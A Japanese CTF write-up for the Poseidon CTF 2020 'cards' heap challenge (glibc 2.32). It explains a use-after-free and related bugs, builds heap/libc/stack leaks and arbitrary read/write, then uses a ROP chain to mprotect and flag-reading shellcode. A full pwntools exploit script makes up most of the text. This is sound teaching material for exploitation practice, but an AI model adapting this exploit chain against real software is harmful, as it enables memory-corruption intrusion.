イントロ Link to this heading

いつぞや行われたPoseidon CTF 2020

libc2.32 問があったのでそれだけ解いた。 pwn 問 card。 結局あまり関係なかった。

猫も可愛いけどやっぱり犬が可愛いですよね どっちになりたいかって言われたら猫ですけど、どっちが可愛いかって言われたら犬です どっちがよりカイワレ大根かって言われたらカーテンですけど、どっちがアバンギャルドかって言われたらモスバーガーです

問題概要 Link to this heading

libc2.32 + セキュリティ機構 FULL + stripped:

.sh
1$ file ./cards
2./cards: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4bd480bc1c4df9d0b3d2bdd5287c1ea4b95aa794, stripped
3    Arch:     amd64-64-little
4    RELRO:    Full RELRO
5    Stack:    Canary found
6    NX:       NX enabled
7    PIE:      PIE enabled

以下に示すseccompがあり、且つprctl(PR_NO_NEW_PRIV)がセットされていた:

seccomp.sh
 1 0000: 0x20 0x00 0x00 0x00000004  A = arch
 2 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 3 0002: 0x06 0x00 0x00 0x00000000  return KILL
 4 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 5 0004: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0006
 6 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 7 0006: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0008
 8 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 9 0008: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0010
10 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
11 0010: 0x15 0x00 0x01 0x0000000a  if (A != mprotect) goto 0012
12 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
13 0012: 0x15 0x00 0x01 0x0000000f  if (A != rt_sigreturn) goto 0014
14 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
15 0014: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 0016
16 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
17 0016: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0018
18 0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW
19 0018: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0020
20 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
21 0020: 0x06 0x00 0x00 0x00000000  return KILL

カードの add/edit/free/viewができる。 なんか隠しコマンド 6 があったが使わなかった。

Vulns - heapbase の leak まで Link to this heading

  • edit時に free したかどうかのチェックがないため UAF(write) (view/freeはフラグをチェックするため不可)
  • free するときの順番が逆
  • NULL 終端がない
  • バッファ(chunk)を初期化していない
  • 消去したノートのアドレスを NULL クリアしていない
  • editにおいてnote構造体のサイズ情報ではなく他で保存した情報を用いている(note構造体中のsizeを変えられれば overflow)
  • 実際に確保したノート数+1 に対して free/edit/viewができる

結局使ったのは1つ目と 2 つ目と 3 つ目と 4 つ目と 5 つ目の脆弱性のみ

まず、登場する chunk には 3 種類あって、ノートの情報を保持する構造体noteと、 ノートに格納する名前に関する構造体target_noteと、 実際に名前を格納するnameがある。 この内notetarget_noteへのポインタを、 target_notenameへのポインタを保持している。 malloc の際にはこの順に確保される。

だがfree時にもこの順番でfreeしてしまっている。 これはnoteを free した後でnote->target_noteを dereference することになり十分脆弱性であると言える (今回はこの事実は使用していないが)。 この順番でfreeをした後再びmallocをすると、 かつてnoteだった chunk はnameになり、逆も然りである。 よって、nameを読むことでかつてnoteとして保持していたtarget_noteへのポインタを leak することができる。

AAW/AAR Link to this heading

上述した嘗て note であったnameチャンクを UAF で用いることで、target_noteポインタを leak するだけでなく上書きして AAW に使うこともできる。 この際、editにはnote構造体内の特定のフラグが立っている必要があるため忘れずに非ゼロで overwrite しておく。

view自体は他の flag によって管理しているため、それだけでは UAF の read はできない。 だが、AAW を持っている今、他のnotetarget_noteポインタを書き換えてやることで未だ free されていないnoteから AAR を達成できる。

libcbase leak Link to this heading

AAW+AAR ができるため、適当にsizeを書き換えてfreeを行い unsorted を生成して libcbase を leak する。

StackAddr leak Link to this heading

AAW+AAR+libcbase leaked の状態のため、environを読んで stackaddr を leak する

ROP to mprotect Link to this heading

editによってedit()関数の return addr を書き換え、ROP に持ち込む。 この ROP の大きさは0xFFに限られているため、一度 heap をmprotectで RWX にしてシェルコードを置くことにする。

shellcode to open/read flag Link to this heading

はい

exploit Link to this heading

exploit.py
  1#!/usr/bin/env python
  2#encoding: utf-8;
  3
  4from pwn import *
  5import sys
  6
  7FILENAME = "./cards"
  8LIBCNAME = "./libc-2.32.so"
  9
 10hosts = ("poseidonchalls.westeurope.cloudapp.azure.com","localhost","localhost")
 11ports = (9004,12300,23947)
 12rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
 13rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost
 14rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
 15context(os='linux',arch='amd64')
 16binf = ELF(FILENAME)
 17libc = ELF(LIBCNAME) if LIBCNAME!="" else None
 18
 19
 20## utilities #########################################
 21
 22def hoge(idx):
 23    c.recvuntil("Choice: ")
 24    c.sendline(str(idx))
 25
 26def _add(size, color, name):
 27    if len(color) > 7:
 28        raw_input("[-] color size too long: "+hex(len(color)))
 29        exit()
 30    hoge(1)
 31    c.recvuntil("card: ")
 32    c.send(str(size))
 33    c.recvuntil("color: ")
 34    c.send(color)
 35    c.recvuntil("name: ")
 36    c.send(name)
 37
 38def _remove(idx):
 39    hoge(2)
 40    c.recvuntil("card: ")
 41    c.sendline(str(idx))
 42
 43def _edit(idx, name):
 44    hoge(3)
 45    c.recvuntil("card: ")
 46    c.send(str(idx))
 47    c.recvuntil("name: ")
 48    c.send(name)
 49
 50def _view(idx):
 51    hoge(4)
 52    c.recvuntil("card: ")
 53    c.sendline(str(idx))
 54
 55# 謎の隠しコマンド
 56def _secret(name):
 57    hoge(6)
 58    c.recvuntil("name: ")
 59    c.send(name)
 60
 61# house of io ?
 62def decrypt(Pd):
 63    L = Pd >> 36
 64    for i in range(3):
 65      temp = (Pd >> (36-(i+1)*8)) & 0xff
 66      element = ((L>>4) ^ temp) & 0xff
 67      L = (L<<8) + element
 68      print("L : "+hex(L))
 69
 70## exploit ###########################################
 71
 72def exploit():
 73  global c
 74  flag_path = "/home/challenge/flag\x00"
 75
 76  shellcode = b""
 77  shellcode += asm("mov rdi, 0x0000000067616c66") # /home/challenge/flag
 78  shellcode += asm("push rdi")
 79  shellcode += asm("mov rdi, 0x2f65676e656c6c61")
 80  shellcode += asm("push rdi")
 81  shellcode += asm("mov rdi, 0x68632f656d6f682f")
 82  shellcode += asm("push rdi")
 83
 84  shellcode += asm("mov rdi, rsp")
 85  shellcode += asm("mov rax, 2")
 86  shellcode += asm("mov rdx, 0")
 87  shellcode += asm("mov rsi, 0")
 88  shellcode += asm("syscall")
 89
 90  shellcode += asm("mov rdi, rax")
 91  shellcode += asm("mov rcx, rsp") # バッファ
 92  shellcode += asm("mov rsi, rcx")
 93  shellcode += asm("mov rdx, 0x80")
 94  shellcode += asm("mov rax, 0")
 95  shellcode += asm("syscall")
 96
 97  shellcode += asm("mov rdi, 1")
 98  shellcode += asm("mov rsi, rsp")
 99  shellcode += asm("mov rdx, 0x80")
100  shellcode += asm("mov rax, 1")
101  shellcode += asm("syscall")
102
103
104  print("shellcode len: "+hex(len(shellcode)))
105
106  _add(0x20, "red", "A"*0x10) # 0x20である必要(struct noteと同じ)
107  _remove(0)
108
109  # leak heapbase
110  _add(0x20, "A", "A"*0x10)
111  _view(1)
112  c.recvuntil("A"*0x10)
113  leaked01 = unpack(c.recvuntil(".")[:-1].ljust(8,'\x00'))
114  print("[+] leaked: "+hex(leaked01))
115  heapbase = leaked01 - 0x40
116  print("[+] heapbase: "+hex(heapbase))
117
118  # overwrite 0's flag
119  _edit(1, p64(0xdeadbeefcafebabe)*3 + p64(1))
120
121  _add(0xf8, "B"*0x4, flag_path) # 2
122  _add(0xf8, "D"*0x4, "/bin/sh\x00") # 3
123  _add(0xf8, "F"*0x4, flag_path) # 4
124  _add(0xf8, "H"*0x4, p64(0x31)*(0xf8/8)) # 5 こいつがつじつま合わせに必要 0x450のfake chunkのnext
125  _add(0xf8, "J"*0x4, shellcode) # 6
126
127  _edit(1, p64(heapbase + 0xf0 + 8) + p64(0xdeadbeefcafebabe) + p64(heapbase)) # これでnote->target==heapbaseとなり、note->target->name==目標のchunkになる
128  _edit(0, p64(0x451))       # fake size of name of 2(maybe)
129
130  _remove(2) # fake size == 0x451 unsorted生成
131
132
133  # libcbase leak
134  _add(0x60, "X", "Y") #7
135  _view(7)
136  c.recvuntil("Y")
137  leaked02 = (unpack(c.recvuntil(".")[:-1].ljust(8,'\x00'))) * 0x100 - 0x400
138  print("[+] leaked: "+hex(leaked02))
139  libcbase = leaked02 - 0x3b6c00
140  print("[+] libcbase: "+hex(libcbase))
141  free_hook = libcbase + 0x3b8e80
142  system = libcbase + 0x43930
143  print("[+] free_hook: "+hex(free_hook))
144
145
146  # note4のname_ptrをenvironへ: stack leak
147  _edit(1, p64(heapbase + 0x3a0) + p64(0xdeadbeefcafebabe) + p64(heapbase))
148  _edit(0,p64(libcbase + libc.symbols["environ"]))
149  _view(4)
150  c.recvuntil("name: ")
151  environ = unpack(c.recvuntil(".")[:-1].ljust(8,'\x00'))
152  print("[+] environ: "+hex(environ))
153  stack_ra = environ - 0x100
154  print("[+] RA addr of main stack: "+hex(stack_ra))
155
156
157  # EDITのstackのRA書き換え
158  _edit(1, p64(heapbase + 0x680 - 0x20) + p64(0xdeadbeefcafebabe) + p64(heapbase))
159  _edit(0, p64(stack_ra - 0x78 + 8))
160
161  pop_rdi = 0x0002201c
162  pop_rsi = 0x0002c626
163  pop_rdx = 0x00001b9e
164  shell_mem = heapbase + 0x680 # note6
165  protected_mem = heapbase & 0xfffffffffffff000
166
167  rop = b""
168  rop += p64(libcbase + pop_rdi)
169  rop += p64(protected_mem)
170  rop += p64(libcbase + pop_rsi)
171  rop += p64(0x3000)
172  rop += p64(libcbase + pop_rdx)
173  rop += p64(0x7)
174  rop += p64(libcbase + libc.symbols["mprotect"])
175  rop += p64(shell_mem)
176
177  _edit(6, rop)
178  return
179
180
181
182## main ##############################################
183
184if __name__ == "__main__":
185    global c
186
187    if len(sys.argv)>1:
188      if sys.argv[1][0]=="d":
189        cmd = """
190          set follow-fork-mode parent
191        """
192        c = gdb.debug(FILENAME,cmd)
193      elif sys.argv[1][0]=="r":
194        c = remote(rhp1["host"],rhp1["port"])
195      elif sys.argv[1][0]=="v":
196        c = remote(rhp3["host"],rhp3["port"])
197    else:
198        c = remote(rhp2['host'],rhp2['port'])
199    exploit()
200    c.interactive()

アウトロ Link to this heading

歳を取りたくなさすぎて泣いています。